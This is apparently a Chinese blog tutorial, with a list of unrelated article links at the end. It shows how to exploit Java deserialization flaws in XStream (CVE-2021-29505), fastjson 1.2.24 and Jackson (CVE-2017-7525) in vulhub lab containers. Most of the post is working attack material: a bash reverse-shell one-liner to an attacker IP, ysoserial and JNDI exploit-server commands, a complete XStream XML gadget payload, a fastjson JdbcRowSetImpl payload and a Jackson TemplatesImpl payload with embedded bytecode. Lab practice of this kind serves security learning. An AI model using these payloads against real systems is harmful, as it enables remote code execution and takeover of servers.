当前位置: 首页 > news >正文

java组件漏洞

一、XStream

这里我们选择在我们的云服务器中搭建我们的靶场环境

cd vulhub-master/xstream/CVE-2021-29505
docker-compose up -d

出现如下页面,则显示搭建成功

默认端口为8080,访问一下主页

这里我们先编写一个自己的反弹shell的代码,然后对其进行base64编码

bash -i >& /dev/tcp/你自己的ip/要监听的端口 0>&1

接下来将我们编码后的代码插入到如下代码中

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1098 CommonsCollections6 "bash -c {echo,你自己编码后的内容}|{base64,-d}|{bash,-i}"

在我们的服务器中开启监听

同时运行我们的代码

回到靶场的主页面,进行抓包操作

修改请求方式为POST,然后拼接如下内容,输入自己的ip,并将文件格式修改为txet/xml

<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'><message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>你自己的ip</string><int>1098</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>你自己的ip</host><port>1099</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue>
</java.util.PriorityQueue>

进行放行,发现反弹到了shell

二、fastjson

这里我们选择在我们的云服务器中搭建我们的靶场环境

cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

出现如下页面则表示开启成功

默认端口是8090,我们访问一下主页

将我们的反弹shell的代码进行base64编写,和第一个一样

运行如下代码

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,你自己编码后的shell代码}|{base64,-d}|{bash,-i}" -A "你自己的服务器ip"

他会给我们写恶意类

对我们的主页进行抓包操作,抓到的注释页面如下

修改请求方式为POST,类型为json,并输入如下内容

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"你自己生成的恶意类",
"autoCommit":true
}
}

然后进行放包,发现反弹到了shell

三、Jackson

这关我们仍然在服务器中开启靶场环境

cd vulhub-master/jackson/CVE-2017-7525
docker-compose up -d

出现如下页面则表示开启成功

默认端口为8080,我们访问一下主页

我们先进入容器中查看一下/tmp目录下的文件

然后我们使用如下数据包进行写入文件的操作

{"param": ["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes": ["yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="],"transletName": "a.b","outputProperties": {}}]
}

其中payload内容为base64编码后的内容,我们可以对他解码后进行修改,让他写入我们想要写入的文件

对主页进行抓包操作,初始数据包如下

修改方法为POST,添加/exploit,然后输入我们的内容,修改后的数据包如下

进行放包,发现我们的文件被写入进去了

http://www.lryc.cn/news/616269.html

相关文章:

  • 【在线五子棋对战】十二、http请求处理
  • 从 GPT‑2 到 gpt‑oss:解析架构的迭代
  • C++移动语义、完美转发及编译器优化零拷贝
  • win11(RTX5060)下进行nanodetplus训练
  • 2025年全国青少年信息素养大赛Scratch编程践挑战赛-小低组-初赛-模拟题
  • 动态工作流:目标结构源自表
  • 红楼梦文本数据分析
  • SpringBoot实现文件上传
  • CART算法:Gini指数
  • sqli-labs-master/Less-62~Less-65
  • 人工智能正在学习自我提升的方式
  • 《算法导论》第 17 章 - 摊还分析
  • 谷歌DeepMind发布Genie 3:通用型世界模型,可生成前所未有多样化的交互式虚拟环境
  • UE什么贴图要关闭SRGB
  • Virtio 驱动初始化数据收发流程详解
  • 太极行业观察:从传统技艺到数字化转型的演变|创客匠人
  • 【R studio数据分析】准备工作——下载安装
  • 【布局适配问题】响应式布局、移动端适配、大屏布局要点
  • 通过sealos工具在ubuntu 24.02上安装k8s集群
  • Loki+Alloy+Grafana构建轻量级的日志分析系统
  • FFmpeg实现音视频转码
  • Spring AOP 底层实现(面试重点难点)
  • AQS(AbstractQueuedSynchronizer)底层源码实现与设计思想
  • 前端路由:Hash 模式与 History 模式深度解析
  • Java Stream流详解:从基础语法到实战应用
  • Rust 实战四 | Traui2+Vue3+Rspack 开发桌面应用:通配符掩码计算器
  • 【算法题】:和为N的连续正数序列
  • 数学建模:控制预测类问题
  • Python 获取对象信息的所有方法
  • matlab实现随机森林算法